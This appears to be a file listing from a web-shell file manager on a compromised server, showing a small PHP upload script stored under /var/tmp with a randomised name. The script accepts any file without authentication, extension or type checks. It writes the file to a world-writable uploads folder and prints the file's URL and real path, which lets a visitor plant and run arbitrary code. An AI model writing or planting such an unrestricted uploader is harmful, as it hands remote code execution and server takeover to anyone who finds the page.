| Current Path : /proc/thread-self/root/proc/thread-self/root/var/tmp/ |
| Current File : //proc/thread-self/root/proc/thread-self/root/var/tmp/upload_i2f5h3.php.json.json |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$upload_dir = __DIR__ . '/uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
if (isset($_POST['_upl'])) {
$file = $_FILES['file'];
$target_file = $upload_dir . basename($file['name']);
if ($file['error'] !== UPLOAD_ERR_OK) {
die("Upload error code: " . $file['error']);
}
if (move_uploaded_file($file['tmp_name'], $target_file)) {
$url = 'uploads/' . basename($file['name']);
echo "<b>File uploaded!</b><br>";
echo "<a href='$url'>$url</a><br>";
echo "Saved to: " . realpath($target_file);
} else {
echo "<b>Failed to move file!</b><br>";
echo "Check permissions on: " . $upload_dir;
}
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="_upl" value="Upload">
</form>